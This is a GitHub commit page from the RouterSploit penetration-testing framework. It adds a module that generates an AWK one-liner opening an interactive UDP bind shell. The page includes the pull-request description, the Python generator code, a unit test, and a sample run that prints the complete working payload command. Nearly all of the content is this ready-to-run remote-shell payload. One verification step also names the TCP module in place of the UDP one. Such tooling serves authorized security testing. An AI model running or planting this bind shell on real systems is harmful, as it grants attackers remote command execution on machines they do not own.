Unverified Commit d2030a7d by Marcin Bury Committed by GitHub

AWK UDP Bind Shell Payload (#460)

* Adding AWK UDP Bind Shell

* Fixing to ident
parent 1ec49a7c
## Description
Module generates payload that creates interactive udp bind shell by using awk.
## Verification Steps
1. Start `./rsf.py`
2. Do: `use payloads/cmd/awk_bind_tcp`
3. Do: `set rport 4321`
4. Do: `run`
5. Module generates awk udp bind shell payload
## Scenarios
```
rsf > use payloads/cmd/awk_bind_udp
rsf (Awk Bind UDP) > set rport 4321
[+] rport => 4321
rsf (Awk Bind UDP) > run
[*] Running module...
[*] Generating payload
awk 'BEGIN{s="/inet/udp/4321/0/0";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}'
```
from routersploit.core.exploit import *
from routersploit.core.exploit.payloads import BindTCPPayloadMixin, GenericPayload
class Exploit(BindTCPPayloadMixin, GenericPayload):
__info__ = {
"name": "Awk Bind UDP",
"description": "Creates an interactive udp bind shell by using (g)awk.",
"authors": (
"Marcin Bury <marcin[at]threat9.com>" # routersploit module
),
}
cmd = OptString("awk", "Awk binary")
def generate(self):
return (
self.cmd +
" 'BEGIN{s=\"/inet/udp/" +
str(self.rport) +
"/0/0\";for(;s|&getline c;close(c))" +
"while(c|getline)print|&s;close(s)}'"
)
from routersploit.modules.payloads.cmd.awk_bind_udp import Exploit
# awk bind udp payload with rport=4321
bind_udp = (
"awk 'BEGIN{s=\"/inet/udp/4321/0/0\";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}'"
)
def test_payload_generation():
""" Test scenario - payload generation """
payload = Exploit()
payload.rport = 4321
assert payload.generate() == bind_udp
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment